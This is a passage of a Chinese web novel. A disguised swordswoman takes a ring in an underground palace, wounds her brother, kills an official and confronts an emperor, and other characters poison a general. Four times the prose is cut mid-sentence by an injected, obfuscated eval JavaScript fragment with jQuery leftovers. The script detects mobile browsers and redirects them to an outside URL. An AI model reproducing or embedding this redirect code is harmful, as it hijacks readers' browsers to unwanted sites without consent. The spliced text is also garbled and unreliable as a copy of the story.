“哪有什么一伙儿可言。”程南无嗤笑一声,“阿萨辛的那位领主,为了防范手下权主势力坐大、背后搞小动作,特意将每两位权主编为一组,名义上协作,实则互相监视牵制。只要不触犯彼此的核心利益,表面上自然是你好我好大家都好,相亲相爱。”
“可白琥人既然已经死了,领主不该收回戒指,另选新的权主吗?这戒指又怎会流落在这地宫里?”李幼澄不解地追问,她的好奇心显然压过了恐惧。
“这戒指,又是另一个故事了。”程南无突然反问,“你若将死,最先想到什么?”
李幼澄思考片刻,认真答道:“自然是见所爱之人最后一面。”
“可那位白琥在被挫骨扬灰之前,竟驱使他的作品咬下了自己戴着戒指的右手,逃入了这座他早已经营多年的地宫深处,藏了起来。”
“原来如此!”李幼澄恍然大悟,“所以这地宫的具体位置和进入方法,连阿萨辛内部的人都不知道。”
怪不得白琥的位置空置多年,原来是阿萨辛自己也找不到戒指,结果反倒被瀛宣帝的人不知用什么手段给挖出来了。
她心生疑惑,看向程南无:“这些隐秘之事,你怎会知道得如此详细?”
程南无骄傲的抬头,大言不惭道:“贫道乃江湖百晓生,天文地理,奇闻异事,无所不知,无所不晓。”
李幼澄将信将疑地点点头。想到白琥人已经死了,随意评论死者是为不敬,她双手合十,朝着下方拜了拜,算是聊表心意。
此时,身后通道传来声响,前有狮虎兽,后有追兵,情况非常棘手,李幼澄可真不想被抓。
她又看向程南无,见他一脸胸有成竹,稍安心道:“我就知道你不会任人宰割,计划好怎么逃了?”
“我不定计划的,随机应变。”程南无答得干脆,他估量了一下从雕像鼻孔到中央灯盏的距离和高度,“只能跳过去了。”
李幼澄看着那令人眩晕的高度,心里打了退堂鼓:“这是第五个选择,有没有靠前点的,又有创意的?”
“没有。”程南无抓住旁边一根从岩缝垂下的藤蔓上。
“可若摔下去......”
不等李幼澄说完,程南无手臂一伸,揽住她的腰肢,脚下用力一蹬,借助藤蔓的摆力,落在了大殿中央那高悬的巨大青铜灯盏的边缘平台上。
刚一落地,程南无便将那根藤蔓缠绕在灯盏上,断了后面人依样画葫芦跟上来的可能。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17058095|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“既然前后都打不过,我们居中暂避呗,看会儿热闹。”
李爝一行人也从通道口爬了出来,他只来得及瞥见程南无消失在灯盏边缘的背影,以及李幼澄那抹飘扬的裙袂。
他眼神一厉,反手便从背后箭囊抽出一支羽箭,对着程南无头的方向,张弓欲射。
然而就在此刻,整个青铜巨盘忽然震动起来,如同一滴水滴在湖面上泛起的涟漪,从内到外开始从上到下跃动起来。
九环一边浮动一边向上抬升。李爝手中箭矢离弦而去,歪打正着,射在了一头正好迎面扑来的狮虎兽的头颅上。
那兽受此一击,却不知痛楚,反而被激怒,一头撞在石像上,跌落下去。
他们所在的甬道开始逐渐坍塌,众人来不及思考,纷纷跃下,落在青铜巨盘最的九环上。
狮虎兽调转方向,朝着人数多的一行人猛扑咬,瞬间将两名躲闪不及的士兵扑倒在地,惨叫声顿时响彻大殿。
震动停止时,第九环已与雕像鼻孔所在的高度齐平。
另外几只蠢蠢欲动的狮虎兽,也仿佛嗅到了生人的气息,纷纷低吼着,从不同方向朝着李爝等人发起了袭击。
程南无站在灯盏边缘,饶有兴致地俯视着下方李爝一行人与狮虎兽的激烈搏杀,语气带着点看戏的悠然:“真好玩!歪打正着,看来我们是触了什么机关,放这些畜生出来撒野了。”
李幼澄用力扯住他的衣袖,声音几乎变了调,手指指向他身后:“程、程南无!后、后面!”
程南无回头,只见一头狮虎兽朝着他们所在的位置猛扑过来。
一柄银剑破空而至,贯穿狮虎兽其中一颗狮子头,强大的力道将其整个身躯带飞,牢牢钉在了后方的石壁之上。
掷出这一剑的,正是下方的李爝!
他掷剑之后,毫不停歇,从箭囊中抽出三支箭,射向另一头朝纪陈岚扑来的狮虎兽身上。
狮虎兽咆哮怒吼,放弃原目标,转而朝着刚落在灯盏上的李爝咬来。
李爝再次借力,翩然跃起,落在了钉着狮虎兽的那柄剑的剑柄之上,暂时脱离了险境。
谁知他这一让,却暴露出他身后毫无防备的李幼澄,眼瞅着狮虎兽即将扑倒她,程南无顺手一推,虽然帮李幼澄躲开了狮虎兽的攻击,却用力过猛,将她推下灯盏。
被钉于墙的狮虎兽疯狂挣扎,摆脱了剑的束缚,李爝收剑俯冲,抱住李幼澄,带着她几个旋转,卸去下坠之力,最终惊险万分地落在刻有八卦符号的青铜环上。
刚一落地,他便一掌将李幼澄推向白将军等人所在的相对安全的区域:“白将军,护好殿下!”随即返身再战。
白将军闻声,接下李幼澄,将她护在身后。
李爝心焦如焚,这些狮虎兽已是死物,无痛无惧,即便断首仍能动弹,不死不休。
高处的灯盏上,程南无盘腿坐下,他朝着下方李幼澄的方向喊道:“对不住啊,我这力气没个轻重的,向你道歉。”
李幼澄听他这毫无诚意的道歉,气极反笑,这个忘恩负义的小人!
“无妨,我等你下来。”她仰头对着灯盏上的程南无抽出腰间匕首,“待你下来,我就先抹了你的脖子。”
15. 请君入瓮
程南无听到李幼澄的威胁,摸了摸自己的脖子,非常识时务地决定,为了自己的生命安全,还是不下去为好。
下方战况激烈,李幼澄看着那些不畏伤痛疯狂攻击的狮虎兽,轻声啧道:“奇怪,这些小可爱明明又瞎又聋,腿脚怎么还如此灵活,打不死多烦人。”
李爝于混战中迅速扫视全局,敏锐地捕捉到这些怪物的行动规律,对众人扬声道:“砍脚,哪只脚先落地就斩哪只。”
他闪至狮虎兽獠牙前,那怪物虽无耳目,却似能感知他的存在,李爝被它的咆哮声震得耳鸣,眼看它咬了过来,李爝毫不犹豫,一剑插入其中一颗头颅下颚,钉在地上。
狮虎兽没有痛觉,下颚被贯穿,仍一个劲的试图张嘴咬李爝。它奋力挣扎,竟扯脱下颚,摆脱束缚后,挥爪击飞长剑,朝着失去兵器的李爝当头抓下!
李爝失剑,对付凶狠的狮虎兽有些力不从心,虽疾步后撤,仍被兽爪伤中,臂上顿时见红。
那狮虎兽一击得手,前掌刚一落地,再度暴起扑杀!
“大将军,接住!”李幼澄抛来匕首,李爝凌空接过,不退反进,斩断狮虎兽前掌。
那狮虎兽庞大的身躯顿时失去支撑,轰然倒地,抽搐了几下,再无声息,彻底化作一堆真正的死肉。
“好身手!”白将军忍不住出声赞叹,问道,“大将军如何知道对付此兽之法?”
李爝取回自己的长剑,沉声解释:“这怪物双目失明,双耳失聪,那它又是如何辨认你我方位?白琥善蛊,能控制死去尸体的只有蛊虫,既为蛊虫所控,必是蛊虫所在之处先落地感应,将蛊虫剥离,自然重归死物。”
众人得法,精神大振,很快将剩余狮虎兽清理殆尽。
最后一只狮虎兽毙命,李爝拔剑之时,带出一团粘稠黑血,直溅上李幼澄的袖摆。
无人察觉,那血浆竟似活物,急速向李幼澄裸露的手背蠕动。
李幼澄突然感觉头顶上黑影袭来,程南无跌落在她身上,他起身,一掌劈在她手臂上,用力一抓,猛的一扯,竟直接将那半幅袖子连带着上面的污血一同撕了下来!
他一脚踩在那衣袖上,程南无抬眼,仿佛只是不慎跌落,朝众人无辜笑道:“我若是说,我不小心从上面掉下来砸到的,你们信吗?”
这话连他自己都不信。
李爝上前,直接抬手,一掌将他劈晕。
几乎在程南无倒下的同时,灯盏因失去一部分重量,机关被再次触发,传来隆隆巨响,开始缓缓沉降,最终恢复到了最初的高度。
纪陈岚见危机已除,扫过地上昏迷的程南无,几名士兵立刻会意,提刀上前,欲下杀手。
“纪大人,”李爝出声制止,“时间紧迫,先做正事。”
纪陈岚示意士兵退下,众人快速休整一番,向巨盘中央行去。
从第九环到中央的太极图,莫约走了一炷香。
纪陈岚看到那座巨大的金灯花石雕,面露狂喜之色,连连催促:“就是此处!快,快!”
他手一挥,手下之人便朝李幼澄走去,李爝横臂阻拦:“纪大人,这是何意?”
李幼澄在他身后道:“你的话听起来,像是要保护我的意思吗?”
李爝冷着一张脸:“嗯。”
李幼澄嘴角轻扬:“真叫人高兴,看来我们之间总算有点交情了。”
“大将军放心,老臣是不会伤害公主殿下的。”纪陈岚取出一个明黄色的卷轴,双手奉上,“一切缘由,陛下皆已阐明于此,请大将军过目。”
李爝接过密旨,迅速展开扫了一眼,脸色微变,不再多言,侧身让开了道路。
李幼澄苦笑,这交情,连一秒钟都没能坚持住。
白将军在一旁提醒:“纪大人,还请谨记约定,切勿伤及殿下。”
纪陈岚道:“白将军放心,两国既已达成协议,待事成之后,定将公主殿下安然送归。”
士兵在前方探路,抵达金灯花雕前,纪陈岚抽刀,一把抓过李幼澄的手,在她掌心飞快划下一道。
刺痛传来,李幼澄怔住,看着鲜血涌出,掌心一片湿黏温热。
纪陈岚用力将她的手掌按在了花雕底座一个不起眼的凹槽之中,血顺着凹槽的纹路流淌,李幼澄只觉得掌心像被撕裂般疼痛。
她瞪着眼,看着自己不断流失的鲜血,回想这一路上的颠沛流离,心情跌宕起伏,心力交瘁之下,只觉一阵强烈的眩晕袭来,倒了下去。
然而,那金灯花雕除了沾染上她的鲜血,竟毫无任何反应!
纪陈岚脸上的狂喜瞬间凝固,转而变得阴沉无比,呢喃道:“怎么会这样?”
“诸位大人恕罪。”一直沉默跟在后面的秋实忽然开口。
“此女,不过是花了五十两银子雇来的冒牌货,用以吸引视线,混淆视听。”她退开一步,露出身后那名一直低眉顺眼,毫无存在感的婢女,微微躬身,“这位,才是我西京真正的嫡长公主。”
那婢女缓缓抬头,露出一张清秀却并非绝色,但眉宇间自有一股沉稳气度的脸庞。
她神情镇定,目光平静地迎向众人的注视,全无一路上露出的怯懦与卑微。
秋实朝着纪陈岚和李爝方向再礼,解释道:“纪大人,大将军。我朝陛下深知此行凶险万分,为保殿下万全,故命奴婢行此李代桃僵之计,找人换了身份。由奴婢在明处护卫假公主吸引注意,真殿下则隐匿行踪,暗中随行。直至此刻,地宫核心已现,方需殿下完成最后一步。”
纪陈岚眯起眼,仔细打量着这位突然现身的真公主,忽然大笑:“好!好!西京皇果然深谋远虑!既如此,就请殿下完成这最后一步吧。”
真正的长乐公主走向金灯花雕,取出一柄小巧精致的银刀,在指尖轻轻一划,将渗血的手指,按上了凹槽。
鲜血流入的瞬间,整个地宫轰然震动。那巨大的金灯花石雕表
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17063922|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面,花瓣开始片片剥落,触地即碎。
花蕊之中,一枚造型古朴,雕刻着金灯花纹路的戒指,赫然显现。
纪陈岚喜形于色:“找了这么久……踏破铁鞋无觅处,终于!皇上定会喜欢我的这份献礼!”他迫不及待地伸手便要去取那枚戒指。
白将军却更快地抓住了他的手腕:“纪大人,且慢。在我们的盟约中,对于如何处置这枚白琥戒指,可不是这么说的吧。”
两人目光在空中交锋,僵持不下。
就在这紧张时刻,身后却传来一声轻笑。
“说实话,我也很喜欢你送的这份精心准备的礼物,远超预期,真是辛苦纪大人了。”原本昏迷倒地的李幼澄,不知何时已转醒。
她坐起身,尽管衣衫破损,略显狼狈,但她周身散发出的气场竟与片刻前判若两人。
李幼澄毫不吝啬的赞叹道:“不愧为瀛洲第一情报高手,我就知道,只要向你抛出些蛛丝马迹,你一定有什么办法知道白琥将戒指藏在何处。”
此言一出,所有人的目光聚焦在她身上。李爝浑身血液更是在这一刻彻底凝固,几乎是想也未想,拔剑直指李幼澄。
而她周围的士兵,在看到李爝拔剑后,手中的钢刀,也架上她后颈。
“纪大人,五年不见,你不该忘了我呀。”
纪陈岚那张原本笑意满满的脸,在听到她这番话后,瞬间变得惨白而慌张。
他像是见了鬼一般,盯着李幼澄,咒骂一声:“我们被她给耍了,你可真会伪装,李、世、稀!”
纪陈岚思绪飞转,试图理清这荒谬的一切,喃喃自问:“究竟是从何处开始不对的?是哪里出了问题?”
他将诸事串联在一起:“白琥地宫的位置,难道从一开始,就是你故意让阿萨辛的叛徒发现,透露于我?那我在鸠兹焚的那场大火,竟还是我帮你们处理了叛徒?!你的目的,是借我们之手,耗费人力物力,掘出这座地宫。有什么比冒充假公主,进地宫更顺理成章?更不引人怀疑?”
“而地宫第一关,心术不正者难渡,不通奇门遁甲者难出。于是你选中那个江湖相士,处心积虑的接近他,利用他,让他带你安然走下去。”
“至于如何取戒,既然我们已计划深入地宫,必然掌握了开启的方法。你只需……伺机而动。”
“哈哈哈!”纪陈岚纵声长笑,既叹服于李世稀的缜密布局,又因棋逢对手而血脉贲张。
自李从珂去世后,他已许久未曾体验到这种被人玩弄于股掌之上,却又不得不佩服对方手段高明的感觉了。
被道破真实身份的李幼澄原本低垂着头,听到纪陈岚提到自己,微扬着头,那双杏眼中再无半分天真懵懂。
她扯下面纱,露出颈间冷白的皮肤,几缕散落的发丝垂于脸庞,颓废邪魅至极。
“清理地宫太费时间了,不如放出风声,让你们找到地宫,等你们备好一切,我再来找你们。”
16. 这么弱是因为恨还不够
“刚才,得是你们削掉了我那根头发?”
李世稀不带丝毫被挟持的慌乱,双手撑地,倒立跃起,瞬间将身后两名挟持着她的人踹飞出去,空中一个利落的鹞子翻身,单膝落地。
她抬起的手拂过颈侧,那里一缕被削断的青丝正缓缓飘落,她垂眸扫过身上过于明艳的衣裙,毫不掩饰嫌弃:“品味还是这么差,尽挑些扎眼的颜色。”
再抬眼时,目光淡淡扫过在场每一个人:“诸位,真是辛苦你们了,帮我解决了这么多麻烦。”
纪陈岚心底一寒,强自镇定喝道:“还愣着干什么?!快阻止她,把她处理掉!”
数名反应过来的士兵立刻持刀冲上,李世稀甚至没有正眼看他们,反手一掌劈在最先冲向她之人的手腕上,腕骨碎裂声清晰可闻。
那士兵惨叫一声,刀被震飞刹那,咽喉已被李世稀五指扼住,她稍一发力,将软瘫的躯体抛向冲来的人群,瞬间砸倒一片。
李世稀足尖轻巧一挑,地上那柄落下的刀便弹入手中。她并未立刻攻击,只是随意地拖动着,刀尖在青铜巨盘上划出一道刺耳的白痕。
下一瞬,她动了。刀光斜划而上,身形快到化做无数光影,向士兵们所在的方向当头洒下。
在她周围方圆三丈之内,避无可避!不过瞬息,再无站立的士兵。
破风声自她身后袭来。李世稀机警回身,拨刀拦挡,右横斩,顺势前刺刀,踢柄弹刀逼退出手的李爝。
李爝沉腕转剑,一式横扫千军卷土重来,李世稀架刀拦挡,眸光微凝,五年未见,他竟有如此实力。
剑光又至,李爝进步扎剑,李世稀架臂格挡,左闪时刀锋斜掠对方咽喉,眼见他第二剑追至,她翻腕压刀,生生将对方剑刃锁死在肘腕之间。
此时此刻,李爝的剑已被李世稀牢牢控制住。
僵持不过刹那,李爝震柄弹剑成功化解危机,长剑脱困飞旋,就在李爝伸手接剑之际,却见李世稀刀柄前戳,重重撞在他胸膛,直接把他顶飞出去。
李爝被击退的同时,白将军也加入了战局。他凌空双正蹬,剑锋直劈李世稀天灵盖。
李世稀后发先至,一记横扫,白将军手中的剑断成了两截,她右手轻抛接刀换左手,白将军紧盯刀势变换,不料她是虚晃一招,李世稀凌空双弹踢,震的白将军踉跄后退数十步。
秋实护着长乐公主,不敢擅离职守。
被击飞的李爝拭血再战,十几个来回,两人分开。李爝银甲之上已添数道刀痕,左臂、肋下皆已挂彩,很显然落了下风。
他眼中燃烧着滔天的恨意与不甘,死死盯着对面气息依旧平稳的李世稀。
待他再反应过来,已然慢了一瞬,左肩衣领已被李世稀一刀刺入。
一股巨力带着他整个人“咚”一声被钉撞在石壁之上,李世稀顺势抽出腰间的匕首,毫不留情,直接刺穿他的左手掌心!
李爝闷哼一声,剧痛之下双腿挣扎,鲜血分不清到底是从谁掌心流出的。
李世稀整个人犹如冥河之主,一手握着钉死他肩膀的刀柄,另一只手则握住了贯穿他掌心的匕首柄,开始缓慢地旋转搅动着。
李爝身体剧烈痉挛,大汗淋漓,痛苦得几乎晕厥。
白将军欲再上前相助,却被纪陈岚伸手拦下:“他二人的恩怨,你我插手不得。趁现在,快走!”
李世稀背对着他们,头也未回:“纪大人,今日若聊不出个结果,你们可踏不出这里半步。”
白将军何曾受过这等威胁,勃然大怒喝道:“狂妄之徒!”
“白将军不可,莫要意气用事,性命要紧!”纪陈岚生怕白将军彻底惹怒了李世稀。
白将军本也忌惮李世稀实力,刚才他和李爝两人联手都打不过她,何况现在只有他自己一人。
适才那番话是怒急攻心,口不择言,此刻被纪陈岚一拦,他顺着台阶停下,却仍觉面上无光。
“难不成任凭这女人摆布?!”他嘴硬道。
纪陈岚脸色凝重:“将军是西京人,有所不知。此人虽是女子,昔年却曾一刀单挑我瀛洲数百名江湖高手。叛逃后,再无踪影,如今再现,刀法只怕更胜往昔。此魔头凶残乖戾,视人命如草芥,切勿轻举妄动,白送性命!”
白将军闻言,重哼了一声,退回几步。
另一边,李爝咳出一口淤血,吃力地抬起头,齿缝间挤出断断续续的话:“李世稀,你的伪装真让人恶心...这五年...你苟延残喘...可曾有一日...良心发现。”
他喘了口气,惨然一笑:“是我错了…我忘了…你根本没有心。你这个怪物…真该死。”
面对这样诛心的嘲讽,李世稀面色不改:“愚蠢的弟弟,五年过去了,你还是毫无长进。”
“你太弱了,弱到,没有让我杀掉的价值。”轻飘飘的一句话,彻底否定了李爝五年所有的努力。
李世稀拔出匕首,抽出刀,李爝顺着石壁,颓然滑落,她不再看他:“在我老死之前,你能杀了我,为爹娘报仇吗?”
“你不配!不配喊他们爹娘!”李爝瘫在地上,握紧的拳头里指甲已经深深陷入肉里,心中的恨无法自制。
为什么这世界跟他想的不一样?跟书本写的,爹娘,先生教的不一样?为何总能任由这些身负罪孽之人肆意妄为?!
视线在剧痛和不甘中变得模糊,李爝望向李世稀那道孤绝的背影,与五年前那个血夜中,那道刻入骨髓,踏着至亲鲜血离去的身影,缓缓重叠。
恍惚中,他看到李世稀双手自然垂落,血珠正顺着她手掌不断滴落,沾染在她一身明媚颜色的衣裙上,格外亮眼。
李爝忽然想起,很多年前,他曾问过李世稀:“阿姐,人家姑娘总爱穿些亮色的衣裳,为何你偏总穿玄色?黑沉沉的,多不好看。”
那时李世稀笑得漫不经心:“傻小子,这样跑出去疯玩,弄脏了衣裳,娘也发现不了,省得挨骂。”
他现在终于明白了。
根本不是那样。
玄色的衣服,即使受了伤、流了血,也只不过像是被水浸湿了一样。
他年少时,好像从未见过她受伤。
李世稀抬手看了看掌心伤口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068451|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,依旧血流不停,一片红肿还蔓延出了黑色的斑:“终究还是我低估你了,纪大人。”
她脸上带着莫测的笑意:“她晕血,还怕疼,很记仇,你死定了。”
“没有我的解药,在十二个时辰内,你必死无疑。”纪陈岚威胁道。
“看样子我的身体状况让我得快些处理了,”李世稀像是没有听到他的威胁,步步逼近,“纪陈岚,是你自己老实把戒指丢过来,还是等我过去,砍下你手?”
纪陈岚眯着小眼睛,面上虽镇定依旧,声音却尖锐起来:“李世稀,你听不懂人话吗?没有我的解药,你会全身溃烂而死!”
“我想要你的命,还用得着十二个时辰?”李世稀双手一摊,“废物,下次别给我留这么长的时间。常人我只需半个时辰便能片肉剔骨,但你不行,你有些胖,需劳我多费一半的工夫。”
“我耐心不好,只数十个数。十、九、五、三......”
纪陈岚心中还在博弈,听到这不按常理的跳跃计数,防线瞬间崩溃:“无论我交与不交,今日恐怕都难活着走出此地了吧?”
“给我一个放过你这种垃圾的理由。”
纪陈岚目光扫过昏迷的李爝,急道:“留我一命,我可以给你带来巨额的利益。”
李世稀干脆利落地点头:“成交。”
纪陈岚不再犹豫,将解药和戒指扔了过去。
李世稀接住,唇角笑意加深:“纪陈岚,你怎么越老越糊涂?”
她没有停下脚步,反而继续向他走去,微微抬眸,眼神平淡内里激不起一点涟漪:“你不知道坏人可以出尔反尔,为所欲为的么?”
抬手间,染血的匕首亮在她指间,血色喷涌而出,四溅开来。
纪陈岚惊愕的双眼甚至没来得及合上,便没了气息。
李世稀手腕一翻,看向对面三人。
白将军与秋实几乎是同时侧步,将长乐公主严严实实地护在身后。
“第一次见面,就将此物送我当见面礼,如何?”李世稀握着戒指,抬拳示意。
几人看着她如临大敌,不敢接话。
“不说话?那我就当你们默认了。”她也不在意,扯过纪陈岚一截衣角,仔细拭去匕首刃上的血痕,直至光洁如新后利落归鞘。
李世稀走到巨盘边缘,却忽地停下脚步。
那三人仍保持着高度戒备的防御姿态,僵在原地。
“啊,差点忘了。”她想起什么无关紧要的小事,食指放在唇边做出噤声状,“我答应过小哭包,一天之内不能杀太多人。”
“虽说只有死人才能真正的保守秘密……”李世稀拖长了语调,缓缓扫过三张惊惧的面孔,视线落在长乐公主身上,“但你看起来很和善,你会管住你这两位朋友,替我保守这个秘密的,对吧?”
长乐公主深吸一口气,尽力维持着皇室威仪:“本宫允你,你还有何要求?可一并提出。”
李世稀随手指了两个方向,一个是程南无倒地的位置,一个是李爝晕倒的地方:“听着还有呼吸声,这两人,也拜托给你们了。”
17. 与瀛宣帝的协议
李世稀走后,秋实快步走到昏迷的李爝身边,弯腰拾起地的剑,毫不犹豫地朝其心口刺下。
“住手。”白将军一把扣住她的手腕,剑尖在距离李爝胸口仅一寸之处停住。
秋实试图挣脱,厉声道:“李爝年少高位,深得瀛宣帝倚重,此时不除,他日沙场必成心腹大患。况且,他一死,和亲之事自然暂缓,戒指已被抢,我们正好借此机会,护送公主殿下返回西京。”
白将军质问道:“如何过关?你真当瀛洲边境是自家院落,想来便来,想走便走?还是你觉得瀛宣帝是那等可以随意糊弄的傻子,不会借此发难?莫非你要我等三人弃数千将士、鸿胪寺一众同僚的性命于不顾,独自潜逃?”
“既杀不得,”秋实手腕被制,语气有些焦躁,“便给他下毒,若两国永无战事,让他病死,也算一个不错的归宿。”
“荒谬!”白将军驳斥,带着军人的傲骨,“将军应战死沙场,马革裹尸,岂能死于这等阴私算计之下?”
“我自是没有白将军这般高风亮节!”秋实抽回手,语带讥讽,“在秋实心里,只装得下公主安危与陛下宏图。为此,使些手段,又算得了什么?”
白将军被她这番阴阳怪气激得怒气上涌:“秋实姑娘话里有话,莫要欺我是个粗人听不懂!我白瑞为西京征战数载,这一身伤疤是我的勋绩,亦甘愿为西京肝脑涂地!”
一直沉默的长乐公主看向争得面红耳赤的两人,她走到两人之间,按下秋实仍紧握着剑的手臂:“秋实,你的忠心,本宫明白。”
秋实嘴唇紧抿,脸上犹有不甘,但在公主的目光下,终究稍稍缓和。
长乐公主转而看向怒气未平的白将军:“但白将军的顾虑,亦在情理之中。将军,我们身在虎狼之穴,若一味讲究光明磊落,便是迂腐。”
白将军嘴唇动了动,想反驳,但面对公主冷静的分析与暗藏的责备,终究哑口无言,只是重重叹了口气。
长乐眸光微转,落在李爝苍白的脸上:“此刻杀李爝,绝非上策。李世稀此人,喜怒无常。方才临走之言,看似嘱托,实为警告。她既已叛逃瀛洲,眼下便是友非敌。”
长乐这番模棱两可的话,让秋实脸上刚浮起的得意之色渐退,她收剑回鞘。
“殿下之意是……?”白将军仍有不解。
长乐公主垂眸,凝视地上的李爝,长长的睫毛在眼下投下一片阴影:“救他。”
“殿下!”秋实急唤,显然长乐最终的安排让她难以接受。
长乐抬手,止住了她的话头,继续说道:“我离宫时,曾带出一些断念。此药无色无味,随水服下后,只会让人感觉身体虚弱,四肢乏力,内力难聚,似是大病初愈,绝难察觉是中了毒,药效可持续半年。半年的时间,足够我们做很多事。”
秋实不再多言,从随身锦囊中取出一个精巧的瓷瓶,拔开塞子,倒了些粉末溶于水囊,轻轻摇晃均匀。她蹲下身,撬开李爝牙关,取出一枚竹片,将药水顺着竹片灌了下去。
“七哥与我一同长大,情谊深厚。他的死若真如李世稀所言,必是疑点重重,本宫要留在瀛洲查清楚。”长乐语气坚定,“白将军,劳烦你仔细为他包扎伤口。他不能死在这里,至少现在不能。”
“殿下,那阿萨辛白琥戒指之事......”
“将军宽心,此事本宫自会一力承担,回国后详细禀明父皇。”
白将军听她承诺,安下心来,熟练地撕下衣摆,为李爝清理包扎肩上那个被李世稀刺穿的伤口。
“至于李世稀,我们从未见过。”长乐望向程南无昏迷的身影,略一沉吟,“把他也带上,丢到最近的医馆。”
三人带着昏迷的李爝和程南无,沿着崎岖的地下河道艰难上行,终于寻到一处狭窄的出口。
白将军背着李爝,秋实拖行着被绳索捆绑的程南无,长乐公主走在两人之间。
他们刚刚踏出洞口,一个带着几分不满的声音便从侧上方传来:“你们太慢了。”
这熟悉的声音让三人浑身一僵,不约而同朝那处声音望去。
只见李世稀正悠闲地坐在对面一块高高凸出的岩石上,一条腿曲起,手臂随意地搭在膝盖上,另一条腿则悬空轻轻晃荡。
她起身,双手交叠,随意地搭在插入地面的刀柄上,似笑非笑地嗔道:“原想着,要是你三人独自出来,我就砍了你们,不过幸好。”
长乐公主强压下心头的悸动:“本宫既已应下,自不会食言。”
李世稀从岩石上跳下,走到白将军旁,目光淡漠地扫过昏迷不醒的李爝。
她忽然凑近长乐:“这么好的机会,你没给李爝下毒?”
一旁的秋实心中一咯噔,血液几乎倒流,一股后怕的庆幸夹杂着恐惧涌上心头,幸好殿下坚持未下杀手。
长乐佯装生气,迎上李世稀逼迫的目光:“李姑娘心有疑惑,本宫无话可说,姑娘大可带走李大将军,去寻个信得过的大夫细细把脉便是。”
李世稀忽然哼笑一声,不再紧逼:“我不喜欢李爝,但我这个人护短,他毕竟是我的手足至亲,即便要死,也该由我来处理。”
“我呢,这几年顺遂无忧,都快无聊死了,世上最痛苦的就是无聊了。”她低垂着眼眸掩盖了所有情绪,“我有的是时间,不介意陪你们玩,你们谁对他动了歪心思,我就宰了谁。”
林间风声骤歇,长乐看着李世稀指尖随意搭上李爝腕间,面上挤出笑容:“李姑娘说笑了……本宫非言而无信之人。”
李世稀盯着长乐看了一会,撤回手:“没诈出来,真可惜。”
长乐一愣:“这是什么意思?”
“你个小正劲,我不懂医。”李世稀像是失去了所有的兴趣,哼着小曲没入林间深处。
直到她的身影彻底消失,长乐面上努力维持着的平静才稍有松懈,她腿一软,几乎站立不住,秋实赶紧扶住。
“真是个疯子。”
历经两个月的长途跋涉,迎亲队伍终于抵达瀛洲申都,长乐被瀛洲以极高的规格迎入驿站。
瀛宣帝听闻李爝负伤,震怒之下,直接召了整个太医院的御医轮番为他诊治旧伤。
此举在朝臣中引起不小波澜,无人不惊叹于瀛宣帝对这位大将军表弟,超乎寻常的重视与荣宠。
皇城琉璃台上建着整个申都最高的建筑,九重阁。
阁顶,瀛宣帝负手而立,他俯瞰着脚下宫阙街巷,万家灯火在他眸中明灭,却点不燃一丝人间应有的暖意。
他挥手示意阁内角落的一众贴身侍卫退离,掀开珠帘,整个人都站到了阁楼的回廊上:“五年都没有再踏进皇城一步,今日既然来了,何必躲藏?”
一道玄色身影踏月而来,几乎与
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080144|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜色融为一体,夜风吹得她袍袖鼓荡,墨发飞扬。
李世稀手腕一转,人已将纪陈岚的佩剑架到瀛宣帝的颈侧。
阁外立刻传来侍卫统领急切询问:“陛下!臣听见动静,您可安好?”
门外一阵杂乱的脚步声,另一人高声询问:“臣寻刺客踪迹至此,扰陛下雅兴,恳请降罪。”
瀛宣帝的目光落在李世稀脸上,一寸不离:“莫要大惊小怪,吓到我的客人。”
“……遵旨。”门外迟疑了一下,安静下来。
“你的见面礼总是这样别致。”瀛宣帝拨开冰凉的剑身,映着他一半晦暗的眉眼。
“今日景晖入宫了,太医院说他左手并未伤到筋骨,只是可惜,那么深的伤口,怕是总要留下一道疤了。不过,不影响他日后拿剑,亦不影响他继续为瀛洲保家卫国。”他语气微妙地一顿,“你下手……当真颇有分寸。”
